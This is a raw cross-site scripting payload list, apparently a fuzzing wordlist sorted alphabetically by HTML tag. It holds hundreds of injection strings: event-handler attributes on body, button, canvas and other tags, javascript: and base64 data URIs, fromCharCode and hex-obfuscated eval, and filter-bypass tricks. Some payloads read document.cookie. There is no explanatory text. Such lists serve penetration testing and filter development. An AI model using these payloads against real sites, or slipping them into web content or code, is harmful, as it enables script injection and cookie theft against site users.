onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</blockquote>
<body background=javascript:'"><script>alert(XSS)</script>></body>
<body id=XSS onscroll=eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<body language=vbs onload=alert-1 // IE-8
<body language=vbs onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='>
<body language=vbsonload=alert-1
<body onactivate=alert(1)>
<body onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</body>
<body onbeforeactivate=alert(1)>
<body onblur=x onload=popup=1;>
<body onerror=popup=1;><svg/onfocus=import>
<body onfocus="location='javascrpt:alert(1) >123
<body onfocusin=alert(1)>
<body oninput=alert(1)><input autofocus>
<body oninput=alert(document.domain)><input autofocus></br>
<body oninput=prompt(1)><input autofocus>
<body onload="'use strict';throw new class extends Function{}('alert(1)')``">
<body onload="X">
<body onload="alert(1)">
<body onload="alert(1);">
<body onload="document.cookie=true;">
<body onload=```${prompt``}`>
<body onload=popup=1;>
<body onload=prompt(1);>
<body onpageshow=alert(1);>
<body onscroll=alert(1)><br><br>...<br><input autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
<body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<body rel='popup=1;'onerror=popup=1; onload=x >
<body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<body style="height:1000px" onwheel="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<body/onactivate=URL=name//
<body/onactivate=alert(1)>
<body/onhashchange=alert(1)><a href=#>clickit
<body/onload=URL=name//
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
<body/onload=location=name//
<body/onload=location=write(top)//
<body/onload=self[/loca/.source%2b/tion/.source]=name//
<body/onload=this[/loca/.source%2b/tion/.source]=name//
<body/onload=window[/loca/.source%2b/tion/.source]=name//
<body/onpageshow=alert(1);>
<body/onpageshow=alert(1)>
<body/””$/onload=x={doc:parent[’document’]};x.doc.writeln(1)
<body><a href="#" onclick="makePopups()">Spam</a>//["'`-->]]]]><![CDATA[>]</div>
<br onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</br>
<br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>
<br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>
<br><br><b><u>X</u></b>
<button autofocus=x onchange='import'onfocus=popup=1; >
<button data=popup=1; id='x'onfocus=popup=1; >
<button form=x>xss<form id=x action="javas	cript:alert(1)"//
<button onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" autofocus="autofocus" disabled="disabled" form="form_id" formaction="URL" formenctype="application/x-www-form-urlencoded" formmethod="get" formnovalidate="formnovalidate" formtarget="_blank" name="name" type="button" value="text">Test</button>
<button onclick=popup=1;>
<button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,
<button/onclick=alert(1) >X</button>
<canvas onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</canvas>
<canvas onclick="popup=1;">
<caption onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</caption>
<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(1)"/></onevent><timer value="1"/></card>
<center onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</center>
<cite onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</cite>
<code onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" <em>="Renders as emphasized text" <strong>="Defines important text" <code>="Defines a piece of computer code" <samp>="Defines sample output from a computer program" <kbd>="Defines keyboard input" <var>="Defines a variable">Test</code>
<col onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</col>
<colgroup onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</colgroup>
<command onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</command>
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>
<comment><img src="</comment><img src=x onerror=alert(1)//">
<comment><img src="</comment><img src=x onerror=prompt(1)//">
<d3"<"/onclick="1>[confirm``]"<">z
